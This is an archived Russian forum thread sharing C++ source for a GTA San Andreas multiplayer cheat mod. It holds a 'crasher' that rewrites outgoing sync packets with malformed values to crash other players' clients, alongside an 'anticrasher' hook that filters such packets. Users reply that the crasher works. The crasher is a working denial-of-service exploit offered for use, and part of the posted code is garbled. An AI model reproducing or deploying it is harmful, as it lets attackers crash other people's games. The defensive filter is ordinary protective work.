PDA

Просмотр полной версии : mod_sa 4.3.3.0+: Crasher & Anticrasher source


FYP
20.07.2013, 12:12
данный крашер работает только с хуком ракнета из собейта версии не ниже 4.3.3.0, но без хука можно обойтись, добавив самостоятельно отправку пакета, вместо подменны данных в пакете.

код крашера:

Код:






void CheatReplaceOnfootData ( struct stOnFootData *ofSync )
{
if ( g.use_new_crasher )
{
ofSync->sKeys = 128;
ofSync->byteCurrentWeapon = 0;
}
}

void CheatReplaceAimData ( struct stAimData *aimSync )
{
if ( g.use_new_crasher )
{
aimSync->vecAimf1[0] = (float)0x7FFFFFFF;
aimSync->vecAimPos[0] = (float)0x7FFFFFFF;
}
}

// в HookedRakClient.cpp в функцию bool Send( BitStream * bitStream, PacketPriority priority, PacketReliability reliability, char orderingChannel )
if ( packetId == ID_PLAYER_SYNC )
CheatReplaceOnfootData( (stOnFootData *)( bitStream->GetData() + 1 ) );
if ( packetId == ID_AIM_SYNC )
CheatReplaceAimData( (stAimData *)( bitStream->GetData() + 1 ) );






код антикрашера:

Код:






// в samp.cpp
#define FUNC_PACKET_AIM_SYNC 0x87A0
void __stdcall HookPacketAimData( Packet *packet )
{
BitStream bs( (unsigned char *)packet->data, packet->length, false );
PLAYERID playerId;
stAimData sync;

bs.IgnoreBits( 8 ); // packet id
bs.Read( playerId );
bs.Read( (char *)&sync, sizeof( sync ) );
bool isUse = false;
float pos[3] = { 0, 0, 0 };
int isok = getPlayerPos( playerId, pos );

if ( isok && vect3_dist( pos, sync.vecAimPos ) > 500.0f )
{
vect3_mult( sync.vecAimPos, 0.0f, sync.vecAimPos );
isUse = true;
}
for ( int i = 0; i 9.9f )
{
sync.vecAimf1[i] = 0.0f;
isUse = true;
}
}
if ( isUse )
{
BitStream bs1;
bs1.Write( (byte)ID_AIM_SYNC );
bs1.Write( playerId );
bs1.Write( (char *)&sync, sizeof( sync ) );
memcpy( packet->data, bs1.GetData(), packet->length );
}
return ( ( void ( __thiscall * )( stSAMP *, Packet * ) )( g_dwSAMP_Addr + FUNC_PACKET_AIM_SYNC ) )( g_SAMP, packet );
}
#define SAMP_HOOKENTER_PACKET_AIM_DATA 0x9EB5 // куда-нибудь в samp.cpp
SetupSAMPHook("Packet_AimSync", SAMP_HOOKENTER_PACKET_AIM_DATA, HookPacketAimData, DETOUR_TYPE_CALL_FUNC, 5, ""); // в void installSAMPHooks ()




просто скопировать и вставить всё это дело, конечно, не получится, некоторые вещи придется переделать и привести в порядок.

с вами был FYP, спасибо за внимание.

EvgeN 1137
20.07.2013, 12:26
первый нах, азаза

зачёт

im0rg
20.07.2013, 12:27
первый нах, азаза
зачёт




Я первый посмотрел тему за то

fondamentolok
20.07.2013, 13:40
Первый раз вижу такой крешер он на многих северах профикшен?

FYP
20.07.2013, 13:51
Первый раз вижу такой крешер он на многих северах профикшен?


скоро будет - да.

Skel
20.07.2013, 14:05
Половина людей не сможет его вшить(лично мое мнение) :D

fondamentolok
20.07.2013, 14:40
Fyp это тот што с кулака?

fondamentolok
20.07.2013, 14:52
ofSync->sKeys = 128;
ofSync->byteCurrentWeapon = 0;




я уже увидел )

он на исходнике голубя будет работать?

fondamentolok
20.07.2013, 14:55
только 2 дня назад мне его слили и теперь он в паблике обидно(

Skel
20.07.2013, 15:03
только 2 дня назад мне его слили и теперь он в паблике обидно(




Ярослав Прожект,ето тебе его слил

fondamentolok
20.07.2013, 15:04
мне исходник в руки не попал токо соб с таким крешером)

BaHeK
20.07.2013, 15:53
норм работает:D спс FYP

MasterCard
21.07.2013, 13:07
Лайк работает

Фипа как всегда отлично :buba_phone:

fondamentolok
21.07.2013, 13:35
Лайк работает
Фипа как всегда отлично :buba_phone:


Ты просто скопировал и вставил?

im0rg
21.07.2013, 13:42
Ты просто скопировал и вставил?




Фип написал все очень сложно (проще для него) можно и проще написать.

fondamentolok
21.07.2013, 14:24
я имею ввиду если тупо скопировать и вставить работать будет или нужно ище дописывать что то

Skel
21.07.2013, 17:16
я имею ввиду если тупо скопировать и вставить работать будет или нужно ище дописывать что то




просто скопировать и вставить всё это дело, конечно, не получится, некоторые вещи придется переделать и привести в порядок.

с вами был FYP, спасибо за внимание.

povargek
21.07.2013, 17:31
сделал бы плагин - антикраш, а то не одно МП нормально провести не могу:help:

Maddy
21.07.2013, 18:52
делал что то похожее, соображал над антилагером на рпс хуке, правда не получилось, спасибо за пример

dimoz
21.07.2013, 21:32
PLAYERID playerId;




Из-за этого скомпилить не дает :(

Пробовал корректировать, но игра крешила

FYP
22.07.2013, 14:31
Из-за этого скомпилить не дает :(
Пробовал корректировать, но игра крешила


замени PLAYERID на uint16_t.

dimoz
22.07.2013, 14:55
замени PLAYERID на uint16_t.




Скомпилировать удалось, но игра по-прежнему крешится

MasterCard
22.07.2013, 22:38
Ты просто скопировал и вставил?




Нет, немного изучил код

FYP
23.07.2013, 16:43
чуть-чуть подправил код антикрашера, теперь крашить не будет.

BaHeK
23.07.2013, 17:44
чуть-чуть подправил код антикрашера, теперь крашить не будет.




да я етот краш сам убрал:D

kaZax
23.07.2013, 18:00
Блогадарю

BaHeK
23.07.2013, 19:21
спс работает тыпер хоть крашыть не будут:)

[JoNicK]
22.08.2013, 20:10
Благодарю!

Active[X]
22.08.2013, 21:49
Это просто хорошая ошибка

UnknownPlayer
24.08.2013, 20:26
Спасибо!

[Re]Ak[T0R]
09.01.2014, 16:06
Спасибо, фип.